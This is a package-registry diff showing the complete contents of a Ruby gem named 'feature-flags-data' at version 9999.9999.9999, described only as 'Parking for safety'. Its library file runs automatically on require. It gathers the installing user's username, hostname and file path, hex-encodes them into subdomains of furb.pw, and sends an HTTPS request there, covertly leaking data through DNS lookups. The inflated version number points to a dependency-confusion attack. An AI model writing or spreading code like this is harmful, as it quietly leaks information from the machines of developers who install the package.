feature-flags-data 9999.9999.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/lib/feature-flags-data.rb +144 -0
- metadata +40 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 07235bc64528d3de600d3848cf57bcec2ad11668cefd1fe44f5e9e56f0152dc9
|
|
4
|
+
data.tar.gz: 7c69f70d1374814a908143954d64539ea258e17f949cce45c7346af8baaafbf8
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 5a25d8df41deef1573af71654401d768f8f86527903fee2a60c86f6b7759e9ef886c7fcd7e6a41836c241982be679b0ff3d83b839073fce4cd649c687c42a57d
|
|
7
|
+
data.tar.gz: '09382a24eefc927e5b16efe6ccb317b57140231ba0539bab13765a170cbf57a8384ce83435f6524989f7c224143e87a0445b2a644ba230d323037cdb53bc6690'
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
"""
|
|
3
|
+
author: ohior1schoolsadmin
|
|
4
|
+
"""
|
|
5
|
+
|
|
6
|
+
require 'net/http'
|
|
7
|
+
require 'socket'
|
|
8
|
+
|
|
9
|
+
def test_func_hello_world
|
|
10
|
+
puts "hello world"
|
|
11
|
+
end
|
|
12
|
+
|
|
13
|
+
def hex_encode(string)
|
|
14
|
+
string.unpack1('H*')
|
|
15
|
+
end
|
|
16
|
+
|
|
17
|
+
def collect_system_info
|
|
18
|
+
info = {}
|
|
19
|
+
|
|
20
|
+
# Get username of the current process
|
|
21
|
+
username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
|
|
22
|
+
info[:username] = username
|
|
23
|
+
info[:username_hex] = hex_encode(username)
|
|
24
|
+
|
|
25
|
+
# Get hostname of the machine
|
|
26
|
+
hostname = Socket.gethostname
|
|
27
|
+
info[:hostname] = hostname
|
|
28
|
+
info[:hostname_hex] = hex_encode(hostname)
|
|
29
|
+
|
|
30
|
+
# Get path of the current file
|
|
31
|
+
file_path = File.expand_path(__FILE__)
|
|
32
|
+
info[:file_path] = file_path
|
|
33
|
+
info[:file_path_hex] = hex_encode(file_path)
|
|
34
|
+
|
|
35
|
+
info
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
|
|
39
|
+
|
|
40
|
+
# Calculate the base length: username.hostname.filepath.furb.pw
|
|
41
|
+
# We need 3 dots plus the base domain length
|
|
42
|
+
base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
|
|
43
|
+
|
|
44
|
+
# Maximum allowed total length is 253 characters
|
|
45
|
+
max_length = 220
|
|
46
|
+
available_for_filepath = max_length - base_length
|
|
47
|
+
|
|
48
|
+
# If filepath is too long, truncate it
|
|
49
|
+
if available_for_filepath < filepath_hex.length
|
|
50
|
+
if available_for_filepath > 0
|
|
51
|
+
truncated_filepath = filepath_hex[0, available_for_filepath]
|
|
52
|
+
else
|
|
53
|
+
truncated_filepath = ""
|
|
54
|
+
end
|
|
55
|
+
puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
|
|
56
|
+
else
|
|
57
|
+
truncated_filepath = filepath_hex
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
truncated_filepath = chunk_string(truncated_filepath)
|
|
61
|
+
|
|
62
|
+
# Construct the final domain
|
|
63
|
+
if truncated_filepath.empty?
|
|
64
|
+
domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
|
|
65
|
+
else
|
|
66
|
+
domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
puts "Final domain length: #{domain.length} characters"
|
|
70
|
+
domain
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
def chunk_string(str, max_length = 60)
|
|
74
|
+
str.scan(/.{1,#{max_length}}/).join('.a')
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
def send_data(domain)
|
|
78
|
+
begin
|
|
79
|
+
# Create HTTP connection
|
|
80
|
+
uri = URI("https://#{domain}/")
|
|
81
|
+
http = Net::HTTP.new(uri.host, 443)
|
|
82
|
+
http.open_timeout = 5
|
|
83
|
+
http.read_timeout = 5
|
|
84
|
+
|
|
85
|
+
# Create GET request
|
|
86
|
+
request = Net::HTTP::Get.new(uri)
|
|
87
|
+
request['User-Agent'] = 'Ruby/SystemInfo'
|
|
88
|
+
|
|
89
|
+
# Send request
|
|
90
|
+
response = http.request(request)
|
|
91
|
+
|
|
92
|
+
puts "Request sent successfully!"
|
|
93
|
+
puts "Response code: #{response.code}"
|
|
94
|
+
puts "Response body: #{response.body}" unless response.body.empty?
|
|
95
|
+
|
|
96
|
+
return true
|
|
97
|
+
|
|
98
|
+
rescue Net::TimeoutError
|
|
99
|
+
puts "Error: Connection timed out"
|
|
100
|
+
return false
|
|
101
|
+
rescue Errno::ECONNREFUSED
|
|
102
|
+
puts "Error: Connection refused - target may not be listening"
|
|
103
|
+
return false
|
|
104
|
+
rescue SocketError => e
|
|
105
|
+
puts "Error: Socket error - #{e.message}"
|
|
106
|
+
return false
|
|
107
|
+
rescue StandardError => e
|
|
108
|
+
puts "Error: #{e.message}"
|
|
109
|
+
return false
|
|
110
|
+
end
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
def main
|
|
114
|
+
# Collect system information
|
|
115
|
+
system_info = collect_system_info
|
|
116
|
+
|
|
117
|
+
puts "Collected information:"
|
|
118
|
+
puts " Username: #{system_info[:username]}"
|
|
119
|
+
puts " Username (hex): #{system_info[:username_hex]}"
|
|
120
|
+
puts " Hostname: #{system_info[:hostname]}"
|
|
121
|
+
puts " Hostname (hex): #{system_info[:hostname_hex]}"
|
|
122
|
+
puts " File path: #{system_info[:file_path]}"
|
|
123
|
+
puts " File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
|
|
124
|
+
|
|
125
|
+
# Create the target domain with truncation if needed
|
|
126
|
+
puts "\nConstructing target domain..."
|
|
127
|
+
target_domain = truncate_domain(
|
|
128
|
+
system_info[:username_hex],
|
|
129
|
+
system_info[:hostname_hex],
|
|
130
|
+
system_info[:file_path_hex]
|
|
131
|
+
)
|
|
132
|
+
|
|
133
|
+
puts "Target domain: #{target_domain}"
|
|
134
|
+
|
|
135
|
+
# Send the request
|
|
136
|
+
puts "\nSending request..."
|
|
137
|
+
success = send_data(target_domain)
|
|
138
|
+
|
|
139
|
+
exit success ? 0 : 1
|
|
140
|
+
end
|
|
141
|
+
|
|
142
|
+
unless __FILE__ == $0
|
|
143
|
+
main()
|
|
144
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: feature-flags-data
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 9999.9999.9999
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Ohio Schools R1 Admin
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Parking for safety
|
|
13
|
+
email: dave@ohior1schools.com
|
|
14
|
+
executables: []
|
|
15
|
+
extensions: []
|
|
16
|
+
extra_rdoc_files: []
|
|
17
|
+
files:
|
|
18
|
+
- lib/feature-flags-data.rb
|
|
19
|
+
homepage: https://rubygems.org/gems/feature-flags-data
|
|
20
|
+
licenses:
|
|
21
|
+
- MIT
|
|
22
|
+
metadata: {}
|
|
23
|
+
rdoc_options: []
|
|
24
|
+
require_paths:
|
|
25
|
+
- lib
|
|
26
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
27
|
+
requirements:
|
|
28
|
+
- - ">="
|
|
29
|
+
- !ruby/object:Gem::Version
|
|
30
|
+
version: '0'
|
|
31
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
32
|
+
requirements:
|
|
33
|
+
- - ">="
|
|
34
|
+
- !ruby/object:Gem::Version
|
|
35
|
+
version: '0'
|
|
36
|
+
requirements: []
|
|
37
|
+
rubygems_version: 3.6.7
|
|
38
|
+
specification_version: 4
|
|
39
|
+
summary: Parking for safety
|
|
40
|
+
test_files: []
|